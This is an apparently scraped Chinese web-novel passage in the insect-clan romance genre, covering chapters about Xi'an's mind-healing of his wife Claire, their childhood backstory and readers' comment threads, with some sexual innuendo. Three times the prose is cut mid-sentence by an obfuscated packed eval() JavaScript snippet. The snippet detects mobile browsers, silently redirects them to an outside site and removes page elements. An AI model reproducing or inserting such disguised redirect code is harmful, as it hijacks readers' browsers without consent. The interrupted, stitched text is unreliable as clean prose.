全家虫:啊这……是小雄虫的可爱想法呢。 本以为只是小雄虫的童言童语,过段时间就全忘了。 结果席安竟真顺着他所计划的路走了下去,成为了一名军雄,去的还是位于边境和前线的第九军区。 对于这个弟弟,卡西安心中总是觉得亏欠。 他认为是他逃避了身为雌虫和长子的责任,而年幼的雄虫弟弟替他承担起了一切。 念及此,卡西安怀着复杂而愧疚的心情,拨打了席安的通讯。 通讯未被接听。 席安可能正在忙。 卡西安转而发消息留言,询问席安的近况。 · 今晚的星网太热闹了。 安若像一只瓜田里的猹,埋头乱蹿。 这边看看小说讨论,那边看看雄虫们骂法案,再看看雌虫们花式哄雄虫。 不管是雌虫还是雄虫的表现都极为有趣。 雌虫们一边在支持法案的帖子下点赞。 赞美法案,赞美尤利西斯元帅,赞美联邦。 转头就去雄虫的帖子下安慰雄虫。 说着“联邦强制精神梳理也太不顾忌雄虫阁下的感受了”“我最心疼雄虫阁下”“我绝对不会让我雄主这么操劳”,连头顶ID都没改。 雄虫们一边在星网上破口大骂,一边也真怕执法队为了这么点破事上门,赶紧把家里的雌虫叫过来挨个薅一遍,累得够呛。 给雌虫做精神梳理,就像是给家里的宠物定期洗澡。 像亚雌或文职工作的雌虫算小型犬,洗起来还是挺轻松的,随手就给薅了,雄虫心情好的时候也乐于把他们捞过来揉一揉。 军雌是大型犬,特别难洗,尤其是状态不好的军雌,洗一次得折腾半天,累得够呛,雄虫都不爱洗。 但完全不洗又不行,时间久了会变得脏兮兮的,还会暴躁拆家。 作为一只负责的雄虫来说,关注家里每一只雌虫的精神状态,是最基础的事情。 而某些能力不足又娶了一大群雌虫的雄虫,现在只想骂街。 一圈精神梳理下来累得快虚脱,在自己家里体验了一番被轮x的绝望。 还有雄虫在坚决抵抗。 他们绝不会因为什么法案去给雌虫做精神梳理,这是侵犯雄虫权益的,他们要坚决抵抗到底!联邦有胆就把他们抓去当精神梳理师吧! 新法案的讨论度太高,安若上蹿下跳吃着瓜,突然发现自己的小说热度掉榜二了。 小说跟新法案这种全民性的内容确实比不了。 但再掉下去,可能连前三都保不住,这样的热度错过了可就太可惜。 安若决定加更。 他将昨天就写好了的稿子稍作整理,一键发表。 #《教官》加更# #《教官》更新了# 今晚的星网热闹得像是在过年。 刚看完更新正讨论剧情的雌虫,突然又看到加更消息,立刻涌了过去。 原本忙着骂架的雄虫也懵了懵。 骂架暂停,中场休息,先追个更新再回来接着骂。 更多在星网吃瓜、不明真相的路虫也点了进去。 【驾驶舱的地面满是鲜血,金属地面被完全染红,宛如噩梦般的场景。 席安现在只是一个精神体,没有真正意义上的“嗅觉”,可来自四面八方的血腥味却瞬间侵蚀了他的所有感官。 雌虫的腿上鲜血淋漓,军裤完全破烂,大腿上覆盖着一道又一道愈合又划开的伤痕。 席安仿佛听到自己脑内响起尖锐的鸣叫。 “克莱尔!!!” 他的声音与脑海中的尖鸣重叠。 席安瞬移到了克莱尔身边。 在这个精神域里,他的思维有多快,他就有多快。 在雌虫的精神域里,雄虫是能够修补世界、创造生机、无所不能的神明。 可他的手在发抖。 面色惨白,连唇都是颤的。 席安看着克莱尔腿上那流淌着鲜血又在强大的自愈力下自动愈合的伤口,看着伤口周围深深浅浅的痕迹。 他的脑海里空蒙蒙一片空白,几乎失去了所有思考能力,甚至忘了自己能调用精神力修补一切,下意识想用双手将那流血的伤口捂住,又怕弄疼了克莱尔,碰都不敢碰,只有眼泪吧嗒往下掉。 克莱尔没想到“幻象”会在这时候出现。 可能是他的理智已经到了极限,难以再维持清醒。 看着那张和席安一般无二的脸掉眼泪,他的心还是会跟着揪起来。 “别哭,我没事的,是我吓着你了吗?别怕,雌虫的自愈能力很强,很快就会恢复,我把你平安带回军区。” 他这话一出,席安的眼里掉得更多了。 这就是当初的真相,这就是克莱尔在信息素下维持理智将他带回军区的办法,这就是第九军团所有虫都不敢告诉他的事。 席安知道,这一切都是克莱尔亲身经历过的、是他无法改变的过去。 他不仅仅是在为面前克莱尔的伤口哭,也是在为克莱尔当初所经历的、而他毫无所觉的一切。 席安甚至想到了另一个更可怕的可能。 这里是克莱尔的精神内景。 也就是说,克莱尔每一天都在重复那场逃亡。 不断重复着注射抑制剂、划开血肉、与天伽作战、在他的信息素和身体的痛苦中备受煎熬……且永远没有解脱。 现实中的克莱尔带他回到了第九军区。 而克莱尔的灵魂却被永远困在了那一天,永远没有出路。 大颗大颗的眼泪往下掉。 席安伏在克莱尔膝上,无声痛哭。 “席安,你别哭,别哭,我会带你回去的……” 克莱尔完全慌了神,甚至忘了后方追击的天伽,仅剩的理智让他在哄雄虫前匆匆将机甲改为自动驾驶。 他的意识告诉他这只是一个“幻象”,但他的感情让他失去了所有判断能力,什么都顾不上。 “我会带你回去,我会带你回去……” 克莱尔跪在血泊里,抱着他的雄虫,一遍遍重复这句话。 他只想让他的雄虫不再害怕哭泣,为此他愿意献上一切,哪怕是生命都不为过。 雌虫哄雄虫的办法实在是少得可怜。 如果是关系亲密的雌虫,会选择直接献上自己的身体,将雄虫拉入情谷欠,让雄虫没空再悲伤。 如果是权势财富出众的雌虫,会给雄虫买买买,献上无上的珍宝,逗雄虫一笑。 但这两种方法都不适用于当下的情况。 克莱尔急昏了头。 若非雄虫还在这架机甲上,需要他的照料,他或许会直接引爆自己的虫核,去跟后边的天伽拼命。 “克莱尔……回去了,你已经带我回去了……” 席安埋在克莱尔怀里,心如刀绞。 他想要紧紧抱住克莱尔,想要感受他的体温和心跳。 哪怕这只是精神内景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687811|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里属于克莱尔的一缕意识。 听到席安的话,克莱尔有一瞬的迷茫。 脑海里似乎浮现出了什么记忆画面,却又很快化为虚无。 他用力摇了摇头,对席安道:“你再给我点时间,我一定会把你平安带回去。” 他说着,又回到驾驶椅上,握住了操纵杆。 席安见他一副完全说不清,像是沉浸在了自己剧情里的NPC模样。 他实在不忍他一直痛苦紧绷下去,干脆一咬牙,爬到了克莱尔身上,捧住他的脸。 他没敢碰克莱尔那条受伤的腿,哪怕伤口早已自动愈合。 “你听着,你已经把我平安带回去了,你把我保护得很好,现在轮到我了,我会为你修补好你的精神域,还有……后面那群天伽。” 席安说着,目光凌厉,话语间杀气毕现。 克莱尔的精神内景并不仅限于这架机甲,后边那些追击的天伽也包含在内。 那些天伽仿佛永远不知疲倦,杀也杀不完,不管克莱尔操纵机甲摧毁掉多少战舰,过段时间它们又会重新出现。 那些并不是真正的天伽。 它们是克莱尔内心深处危险的化身。 他害怕危险伤害席安,夺走他们的生命,所以精神时刻紧绷,没有一息放松。 席安明白,比起修补机甲,他更应该把那些天伽解决了。 精神力如潮水般涌出,无尽的精神丝线扑向后边的天伽战舰,将它们全部冲毁搅碎清除。 一架架天伽战舰在精神力的围剿下,化作黑雾湮灭凋零,仅剩的残骸也被雄虫的精神力吞噬殆尽。 过了许久,这场精神风暴才得以停歇。 偌大的星海之中,只矗立着一架深红的机甲。 以毁灭换来生机。 “我的机甲名字叫涅槃,代表着浴火重生,从毁灭中重生,我也会为你带来新生……” 席安低头,亲吻在克莱尔脸上,郑重而珍惜。 被他捧着亲的克莱尔呆坐在驾驶椅上,看起来呆呆傻傻的,完全回不过神来的模样。 席安又在克莱尔眼角珍惜地亲了亲。 他看得出克莱尔需要一段时间的修养,他悄然退出精神域。 临走前,将地上、驾驶椅上还有克莱尔身上……所有的血迹清除干净。 …… 席安的精神力回归身体。 他们还在主卧床上,面前的克莱尔仅穿着一件睡袍,表情空白,又透着深深的餍足和倦意。 “阁下……” 即使眼皮都打架了,克莱尔还是努力看向席安,想要解释。 席安倾身上前,抱住克莱尔的脑袋,低声道: “睡吧,明天再说。” 雌虫接受完精神梳理后,身体骤然轻松下来,很容易感到餍足和困倦。 简单来说,会犯困。 得到他这句话后,克莱尔脑海中的弦一松,再也坚持不住,被困意席卷,沉沉睡去。 席安静静抱着他,过了许久,他将脸埋进克莱尔颈间,深深吐出一口气。 随后亲了亲他的下颚,额头,又揉了揉他干爽漂亮的银白头发。 看到精神内景中的一切后,席安一点都不在意克莱尔踢他的事了。 他现在只对克莱尔只有满满的心疼和愧疚。 这样又揉又亲了好一会,席安想起什么,打开终端,给克莱尔检测了下精神情况。 【精神状态70分】 才70分,席安对这个结果不太满意。 但克莱尔的情况太严重,哪怕是他,也没法直接给他全部修复好。 好在最难的一步已经走完,后面只需要细水长流,慢慢温养,就能让克莱尔渐渐恢复。 席安退出检测,发现自己的私虫号上有几条未读消息。 是家里虫发来的。 席安猛然想起自己忘了什么。 ——忘了告诉家里虫他结婚了。 这也没办法,克莱尔的精神状况太糟糕,他忙着跟他结婚、给他做精神梳理,实在无暇顾及其他。 不过,成年雄虫娶雌虫是很正常的事,甚至是值得鼓励的事情,谁也没法说他什么。 席安只心虚了一秒,就说服了自己。 虫族幼崽成年即独立,哪怕是雄父雌父也不能强行干涉幼崽的婚姻选择,当兄长的就更没权力这么做了。 席安一边抱着克莱尔,一边抬起手指在光屏上点触,轻飘飘回了句: “我刚结婚,在度蜜月,别打扰我,有事之后再说。” 这样说似乎太冷酷了,席安又补了句: “等我雌君状态好一点,我会带他回家,跟雄父雌父见面。” 不过这至少得一个月后了。 蜜月很重要! ……】 14.雄虫新兵x昔日教官9 雄主独自在家,因法案的事担心受怕,卡西安只能火力全开,以最快的效率结束手里的工作,将其他事务交代下去,提前回家陪雄主。 白化雄虫小小一只,整只虫埋在他怀里也没什么重量,轻得不真实。 卡西安调整了下姿势,让雄虫趴在他身上,头枕着他的胸膛,终于有了些实感。 但还是太瘦了。 卡西安摩挲着雄虫骨节分明的手腕,白到近乎剔透的皮肤,甚至能看到底下浅粉的血管。 精心呵护养了这么多年,也就比在福利院的时候多了几两肉。 手腕的终端忽地亮起。 不省心的弟弟终于知道给他回消息了。 卡西安一手轻覆在雄虫眼皮上,避免光线刺激到雄虫脆弱的眼睛,另一只手点开光屏查看消息。 结婚,蜜月,雌君?!! 卡西安瞳孔地震,差点一口气没上来。 原本熟睡的雄虫察觉到什么,埋在他胸膛的脑袋动了动,缓缓睁开眼,拉下遮盖在眼睛上的手,迷蒙问: “怎么了?卡尔?” 卡西安顿时心生歉意,怒火卡在一半没能提上去,放柔声音道: “是我不好,打扰到雄主休息了。” 他调低了光屏亮度,房间里只剩下点点微光。 白化雄虫视力不好,畏光,各方面都很脆弱。 像是原始时期那些只适合被伴侣珍藏在巢穴深处的雄虫。 艾拉眨了眨眼,想说C级雄虫没那么脆弱。 很显然,卡西安对他身体的印象还停留在十几年前,他还是个F级末等雄虫的时候。 不过就算F级升到C级,其中的差异对强悍的S级雌虫来说,完全可以忽略不计,都是脆弱到难以想象的生物。 艾拉也就懒得强调了,只问: “出什么事了吗?” “……席安结婚了。” “嗯?小说吗?还是……” 看卡西安糟糕的表情,艾拉猜到了点什么。 哇哦,小说现实双结婚。 卡西安跟席安是年龄差距大的亲兄弟。 在虫族家庭里,雄虫是不负责带孩子的,幼崽由雌虫照顾。 雌虫工作繁忙时,年长的雌虫幼崽也会负责照顾和管教年幼的幼崽。 席安可以算是卡西安一手带大的。 雌虫都是喜欢幼崽的,但他跟卡西安之间等级差太大,他还有基因缺陷,他们差距大的像是两个物种,注定不可能拥有亲生幼崽。 卡西安或许也因此对席安投射了更加复杂的感情,把席安当半个幼崽养。 自己在意的弟弟兼“幼崽”一声不吭就结婚了,找的雌虫还不知道是好是坏、虫品如何,卡西安当然会惊怒难过又担忧。 艾拉也陪着他犯愁。 “这可该怎么办呢?要不要把他叫回来问问?让他带上雌虫一起回来,军区的雄虫有假期吗?” “不用管他,他忙着度蜜月呢!” 卡西安气得关了光屏,心道他再管席安他就是狗。 下一秒就想,等席安“蜜月”结束,他再收拾他。 现在,他需要先被他的雄主收拾一顿。 “打扰雄主休息,我真该死,请雄主罚我。” 卡西安温顺平躺下来,拉过白化雄虫的手放到脸上。 哪有雌虫请罚是这样请的?分明是有恃无恐。 艾拉舔了舔锋利的小犬牙,嗷呜一口咬在雌虫喉结上。 …… 【虫族怎么可能会有真爱? 哪怕他哥为了一个有缺陷的白化雄虫跟家里闹得很僵,连幼崽都不打算生了——雌虫都很喜欢幼崽的。 年幼的席安也只觉得是他哥脑子不清醒、被雄虫的甜言蜜语蛊惑了。 十年一度的军团大比在首都星举行,他雌父作为首都星总督当然要到场,小席安也被带着一同前往。 小席安对炫酷的机甲对战和帅气的雌虫决斗还是很感兴趣的,但对于他雌父跟一群军部高官说没营养的场面话就兴致缺缺了。 他找了个机会溜出来。 这里的场馆太大了,整个军区驻地被分成许多个赛场,同时进行多场比赛。 小席安虫小腿短,迷迷糊糊在赛场中逛着,有些迷路。 他倒也不担心走丢或遇上虫贩子。开什么玩笑?这里是军区呢,到处都是来自联邦各地的精锐军雌,什么虫能在这里拐卖幼崽? 军雌们热情高涨的呼声吸引了他的注意,他寻着声音,走进其中一个场馆。 一进来就看到张着巨大翅翼的雌虫在天上飞行、碰撞,又以极快地速度带着对手砸向地面,引起看台上的阵阵惊呼。 看台和赛场之间防护墙太高,席安努力踮起脚尖,也看不到里面的战况,急死他了。 旁边传来一声低笑,然后席安腰上一紧,身体却忽然变得轻盈,视线越过护栏,场内的一切一览无余。 哇呜—— 他被虫抱了起来,被放到了……对方的肩膀上。 席安低下头,只看到一个银色短发的脑袋。 这是个相当高大的军雌。 席安第一次体验这么高的视野,感觉自己长到了两米。 太高了,他下意识抱住了银发军雌的脑袋。 “现在看得到了吗?小幼虫。嗯?吓着了?” 被他骑着的军雌问他,察觉到他的紧张,偏过头来想看他,犹豫要不要将他放下来。 “才没有!” 席安掰过他的脑袋,让他看向前方。 他才不要被看到涨红了脸的样子,会被嘲笑的。 军雌似是笑了,笑声特别苏,传到耳朵里暖暖的。 明明是低沉冷酷的声线,带上笑意后,就让幼虫觉得温暖和信任。 银发雌虫身上的味道清清冷冷的,闻起来有些凉,是小幼虫都喜欢的冰激凌。 但他身上却很暖和,固定着他腿的手很有力量,能给虫带来安全感。 席安根本没认真看场上的雌虫是怎么打的,连谁赢谁输都不知道。 他享受着这高而广的视野,整只虫轻飘飘的,又暖呼呼的,克制不住地傻笑,感觉很开心,又不知道为什么开心。 他雌父工作总是很忙,日常家中相处,也总是克制而有距离感的,像把幼崽举起来让骑脖子上这种事,在他们家里绝对不可能出现。 他哥以前倒会把他抱起来,颠颠他的重量,逗他玩。 但这几年,他哥感情不顺,跟家里闹得很僵,回家的次数也少了。 有那么一刻,席安忍不住想,如果这只虫也是他的家虫就好了。 虫族幼崽的家虫无非就是雌父雄父、兄弟、还有雄父的其他雌侍…… 席安指的当然不是这个。 他是说,他是他的。 独属于他的。 小幼虫对这个概念还很模糊,只有一个隐隐约约的渴望。 赛场上的虫换了一批又一批,最后终于到了决赛的时刻。 作为冠军的奖章出现在高台之上,场上的全息大屏幕给了奖章一个特写。 金色的星辰奖章,特别漂亮。每一条锋利的菱角和线条都带着极致的工艺之美,就如被誉为战争机器的军雌本身。 全场的视线都集聚在那枚奖章上,军雌也看了过去。 席安脱口而出一句“好漂亮”。 “你喜欢?”军雌有些意外地问了句。 “嗯。”席安应了声。 对美的追求是每只虫都有的,更何况那枚奖章被赋予了如此多的荣誉。 即使奖章本身没有意义,打败那么多的军雌、夺取奖章,也代表了非同寻常的意义。 席安没想那么多,他只是单纯觉得奖章好看,像星星。 “我把奖章赢回来送你。”军雌说了句。 “欸?” 席安正不解着,就听到广播声叫出一个名字。 “第九军团——克莱尔少校!” “该我上场了。” 银发军雌将他从颈后抱下来,放到防护墙顶部的平台上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693256|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随后单手一撑,从他身后翻越护墙,进入赛场。 像是一只大鸟从他头顶飞过。 满场响起克莱尔的名字,看台上的军雌们摇旗呐喊助威。 席安这才意识到,这位银发军雌也是这场比赛的参赛者。 只是他的那半场比赛早早结束,他来这里,是在等待着他的对手被选出来。 银发军雌迈着沉稳的脚步走入场中,席安听到了自己的心脏砰砰跳动的声音。 他似乎也被现场热烈地氛围所感染,想要跟着高呼克莱尔的名字。 战斗开始,他的对手第一时间就亮出翅翼,冲向克莱尔,直接跳过了格斗试探环节,进入虫体搏斗阶段。 半虫化和虫化状态下的虫族战斗力飙升,这相当于是见面直接开大了。 克莱尔不避不退,径直迎了上去。 虫甲与肉身的碰撞,席安看得提心吊胆。 直到克莱尔放出银白的翅翼,手臂覆盖上虫甲,一举将对手击退百米,他才悄然松了口气。 战斗还未结束,雌虫都皮糙肉厚,格外耐打,那只倒地的雌虫一瞬间就飞了起来,又是新一轮的搏斗。 席安看着看着,突然发觉不对劲,怎么感觉越来越远了? 确实越来越远了,克莱尔一直掌控着战斗节奏,将对手控制在远离他的那个半场里。 席安并不是迟钝的虫,他看了看坐在防护墙上的自己,意识到克莱尔此举的目的。 他怕战斗波及了他,所以才一直将对手控制在另一边,哪怕这会花费许多不必要的时间和精力。 这也从另一个角度说明了克莱尔在这场战斗中的游刃有余,对手已经被逼至完全虫化,而他仍然保有着余力。 最后的结果也注定了。 当克莱尔进入完全虫化状态后,他只用了不到一秒,就彻底结束了战斗。 席安连他的虫化形态都没看清,只记得是银白色的,特别大,特别漂亮。 克莱尔已经变了回去,迈步从烟尘中走出。 满场高呼着克莱尔的名字,虫族是慕强的种族,强者能得到所有的敬意和崇拜。 席安也跟着喊,兴奋地朝克莱尔招收,甚至激动得从防护墙上站了起来。 领奖台上的克莱尔变了脸色,致辞都只匆匆说了一句,就立刻返回,将他从防护墙上抱了下来,脸上仍带着些后怕。 面对从军雌中千挑万选出的强大对手他都不怕,这个小祖宗在防护墙上又蹦又跳把他吓坏了。 “克莱尔,克莱尔,好厉害!” 小席安激动地抱住他的脑袋。 克莱尔微勾起嘴角,没虫不喜欢听到肯定与称赞,这些称赞从漂亮的小幼虫口中说出来,尤为真诚。 他不敢把小幼虫往护墙上放了,半蹲下身,将小幼虫放到地上,把胸前的金色奖章解下来,递给他。 “喽,你喜欢的奖章,给你赢回来了,送给你。” 席安扑闪着眼睛看那漂亮的奖章,戴在军雌身上很合适,但捧在他手里就很大一个,沉甸甸的。 雌虫为心上虫赢下荣誉,将其奉予雄虫、讨雄虫欢心的故事,在虫族屡见不鲜。 这跟求婚跟示爱没什么两样了。 但他还是只幼虫欸。 小席安皱着脸考虑了好一会。 就在克莱尔以为他不喜欢时,小雄虫突然凑过来,在他脸颊上亲了一下,抱着奖章认真道: “我长大后娶你!” 克莱尔当然不会把小雄虫的童言稚语当真。 认为小雄虫过两天就把这件事忘得干净了。 但实际上,将一切忘记的是他。 …… 席安从久远的梦中醒来,看着熟悉的天花板,一时没回过神。 身旁躺着一具温热的身体,味道熟悉又好闻,能给虫带来充足的安全感。 是克莱尔。 席安将脸埋进雌虫颈间,深吸了一口清凉如冰激凌的香甜味道。 他终于娶到了克莱尔。 ……】 15.雄虫新兵x昔日教官10 [不是?等等、怎么回事?席安阁下小时候就决定娶克莱尔?] [克莱尔还把席安阁下给忘了??!] [啊???] [说了克莱尔拥有免喷权的,但是这个我是真忍不了啊,克莱尔你怎么敢的啊?!] [要是有雄虫许诺以后娶我,我能记一辈子!一辈子!] 这些雌虫已经气疯了,怒火夹带着嫉妒,让他们失去了理智。 但还有稍微冷静些的。 [冷静点,席安阁下那会还是幼崽呢。] [就算小幼崽说的是真的,克莱尔作为一只成年雌虫也不能当真啊。] [怎么不能当真?明明很刑啊,很可拷啊,可狱不可囚的生活就在眼前!日子越来越有判头了!] [咳……也不是那个意思,也不是一定要做点什么,就是……至少不能忘记吧?] [这一点克莱尔全责,那么把他判给席安阁下处置!] [这跟奖励有什么区别?克莱尔这家伙,还是太好运了。] [不是?怎么下一届军团大比的报名这就爆满了?卡得我连官网都点不进去了,什么情况?] 此话一出,评论区画风陡变。 [靠!我说怎么没有虫在评论区说这件事,都偷偷去报名了是吧?] [你们这些天伽的!太阴了!] [不是?你们在说什么?我怎么听不懂。] [反应这么迟钝的活该没雄主,一边玩去吧。] [现在所有虫都知道雄虫阁下喜欢星辰奖章,拿到军团大比的奖章就能讨雄虫欢心,收获一个雄主,可以想象下一届的军团大比竞争有多激烈了。] [我靠!早说啊啊啊啊!!!] [报名系统已经瘫痪了!这玩意居然还能瘫痪?我真的是在星历7052年吗?] 雌虫们绞尽脑汁想要报名军团大比获得奖章。 雄虫们也忍不住想,我的雌虫有没有送过我奖章?之前追求我的军雌爱慕者有没有奖章? 还有先前因为精神梳理比较难而推掉的基因匹配的军雌,据说很优秀的样子,要不要约出来见一见? 在这一刻,奖章本身如何已经不重要了,重要的是它所代表的东西。 雄虫的想法都很简单:别的雄虫有的我也要有!没有就落入下乘了! 与此同时,基因匹配中心收到了很多雄虫找军雌约会的申请。 负责虫一脸简直见鬼了的表情。 雄虫什么时候会主动找雌虫约会了? 还都是找军雌! …… 【“克莱尔……” 席安埋在克莱尔怀里,环抱住他,轻轻唤着他的名字。 他对克莱尔又感激又心疼,还特别喜欢。 心中的依恋和欢喜让他忍不住抱着雌虫蹭了蹭。 可是克莱尔好暖和,明明信息素是很高冷的感觉,抱起来却暖融融的。 身材也好好,哪怕隔着睡袍,都能感受到下面结实柔韧的肌肉,贴上去好舒服。 蹭一下,再蹭一下。 不自觉就蹭得多了。 克莱尔刚经历过一场深度精神梳理,睡得很沉。 但军雌的生物钟和怀里毛绒绒乱动的奇怪触感还是将他唤醒。 一睁眼先看到陌生的天花板,发现自己怀里有一只雄虫。 身旁萦绕着浅淡的雄虫信息素,不是很浓,不会激起他的身体本能反应,反而让他觉得出奇的餍足和平静。 大脑从未如此轻松安宁,舒适得像是回到了幼时的蛋壳中。 即使克莱尔从未经历过,也知道这是经过雄虫精神精神梳理后的状态。 这样的情形,简直像是某些雌雄小说里描写的意外和雄虫一夜情。 还得是非常好心的雄虫,居然愿意在睡雌虫的同时来一次精神梳理。 克莱尔从不相信那样小说的情节。 他很快想起,自己结婚了。 不是什么一夜情。 他跟席安……结婚了。 克莱尔低头看向怀里,入目的是一个红色的脑袋,毛绒绒的,他的心好像也变得毛绒绒的。 像是在做梦一样…… 席安发现了克莱尔转醒,他偷蹭的动作一僵,手忙脚乱地拉开距离,假装自己没蹭过。 “咳,醒了?先吃饭还是先吃……” 瞥到克莱尔被蹭得敞开的睡袍领口,席安差点咬到舌头说错话,最后只能匆忙改口。 “我是说……还是先去晨练?” 军队的虫都有晨练的习惯。 时间通常在早餐之前。 克莱尔的脑子其实还没转过来,下意识回答了句“晨练”。 于是,席安便拉着他起床,去衣帽间换衣服。 这是他们婚后的第一个早晨。 席安有很多想跟克莱尔说的,又想将那些暂且抛到脑后,静静跟克莱尔享受他们的婚后时光。 他的衣帽间很大,摆满了各种礼服高定。 其实大部分他都没穿过,成为军雄之后,就很少有穿其他衣服的机会,只是仍保留着买买买的习惯。 席安找了套训练服出来,递给克莱尔。 这是他的衣服,尺寸跟克莱尔肯定不搭。 不过没关系,高端训练服本身就会根据主虫身材改变尺寸,就算是破了,也会自我修补,很适合打架爆衣放翅翼的雌虫。 接过训练服的克莱尔与席安四目相对。 克莱尔其实有自己的衣服。 之前精神极危,经常无意识拆家,他把自己的大部分物品都收到了空间纽里。 但席安问:“需要我回避吗?” 克莱尔立刻道:“不用!” 他们已经结婚,没有婚后雌虫换个衣服还让雄主回避的道理。 他昨晚已经把新婚之夜搞砸了。 不能再让一切往更糟糕的方向发展。 克莱尔直接动手脱下睡袍,更换训练服。 席安本来想意思下背过身的,但是…… 哇哦—— 身材真好啊。 他抬手遮住发烫的脸,眼睛激动扑闪着。 克莱尔个子很高,肩宽背阔,肌肉强健又漂亮,胸肌好大,让腰的视觉效果显得很窄,更下边…… 席安捂着脸往下看,遗憾地发现克莱尔已经把衣服穿上了。 收到雄虫有些怨念的眼神,克莱尔动作一顿,反省自己是不是哪里做得不对。 ……】 追文的雌虫看到这里已经忍不下去了。 [克莱尔这个傻叉!就不会骚一点吗?雄主看着呢,他穿那么快干什么?!] [指望他发骚?别忘了,他是能一边流着水、一边开机甲,根本不往雄虫那边看的绝世狠虫!] [席安阁下的表情多可爱啊,他跟一个瞎子一样!] [穿个衣服比上床脱衣还快,急着去生蛋呢?哦,忘了,他昨晚上床根本就没脱衣服,也没蛋可生。] [就他这样子,一百年内能不能揣上虫蛋都悬。] 还有虫的关注点在别的方面。 [席安阁下喜欢这种身材吗?我是不是应该把胸再练大点?] [腰身比也很重要,记下记下。] [时代审美变化太快了,之前还流行纤细款雌虫,刚减下来又得增肌(猛雌叹气)。] …… 【见克莱尔穿好衣服,席安也拿了套训练服换上。 克莱尔全程没敢抬头,只盯着自己鞋尖。 雌虫敏锐的听力,让他能捕捉到每一次衣料摩擦过皮肤的声音。 什么都看不到,反而克制不住去想。 其实……什么也想象不出来。 雌虫有限的想象力只能在脑海中构建一个模糊的轮廓。 却还是让克莱尔燥得不行。 不能再想下去,那会弄脏席安给他的衣服。 克莱尔用力闭了下眼睛,赶紧切断思绪,逼着自己想一些别的东西来转移注意力。 昨夜的种种浮上脑海,克莱尔面上的热度骤然退去。 他昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700119|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚表现得太差了。 弄成这样的雌虫,应该第一时间被丢进惩戒室。 席安实在是太过心善。 居然让他去训练室晨练,而不是让他去惩戒室领罚。 也可能是看着他精神域还未彻底修复的份上。 不管怎么说,他都欠雄虫一个解释。 “阁下,我……” 克莱尔开口。 席安不悦抬眸,“还叫‘阁下’?” 克莱尔呼吸微滞,意识到雄虫的意思。 但……他真的可以吗? 他将那个特殊的词在舌尖咀嚼了两遍,才试探着吐出: “雄主。” 席安矜持点了点头,压制住勾起的唇角,眼里的笑意却难以止住。 他脚步轻快地走到克莱尔面前,伸手为他整了整衣服,道: “说吧,想跟我说什么?” “昨晚不是故意踢您……也不是不肯跟您睡觉……” 这话应该跪着请罪才合适,但雄虫的手还落在他肩上,克莱尔只能硬着头皮站着说。 他还比雄虫高一些,低头的时候嘴唇差点擦过雄虫的耳尖。 席安耳朵有些痒,略偏了下头。 他当然知道克莱尔不是故意的,也早就不计较那些事了。 比起克莱尔踢他的那一脚,克莱尔自身的情况更令他担忧。 “我知道,我看到了你的精神内景。” 提起这个,席安的心情还是不由沉重。 那画面太过惨烈了。 他仅仅是看到就吓得面无血色,四肢发凉。 而作为亲历者、并在精神内景中不断循环那一天的克莱尔,他承受的又是怎样的压力和痛苦? 席安抱住克莱尔,将脸埋进他颈间,感受着他温热的、完好无损却又支离破碎的身躯。 “为什么不告诉我?” 席安既心疼他,又为他的隐瞒感到委屈和难过。 “在我晋升高热昏迷期间,你为我做的那些事,为什么不告诉我?” 克莱尔身体微僵,脑子里全是雄虫抱过来的柔软触感,过了会才意识到对方指的是什么,顿时更加僵硬。 “您已经知道了?” 克莱尔声音微哑,努力回想自己当时的状态。 绝对说不上好,在信息素下丑态毕露,鲜血淋漓,狰狞又狼狈。 他喉结艰涩滚动,干巴巴开口,几乎不知道自己在说什么。 “将您平安带回军区是我的责任,其中细节,您不用知道……我很抱歉弄脏了您的机甲……” 说到最后,他颓然沉下肩,像是泄了所有力气。 席安本来都快泪目了,听了他这话直接气得咬他。 他心疼难过成这样,结果克莱尔说不该弄脏他的机甲??? 这一口咬破了克莱尔的耳朵。 雄虫的唾液中同样含有信息素…… 席安被猛地推了开,克莱尔的身体重重撞上了身后的透明衣柜,面色氵朝红,呼吸急促,身体紧绷。 “克莱尔?” 席安没想到会造成这样的后果,慌了神。 他一直很注意信息素的释放,却忘了自己的唾液。 雄虫咬伤雌虫后,信息素会直接进入雌虫血液循环,带来更加强烈的效果,能让雌虫瞬间发晴。 更何况他跟克莱尔的适配度还很高,克莱尔很难抵抗他的信息素。 他们之间的情况还…… “对不起,我不是故意的,没想让你难受……” 席安连声道歉,赶紧上前查看克莱尔的情况。 手刚接触到克莱尔的手臂,就激起底下身体剧烈的颤抖,哪怕他们之间还隔着防护效果很强训练服。 他的手被猛地甩开。 克莱尔喘.息得更加厉害,浑身濕得像是从水里捞出来的。 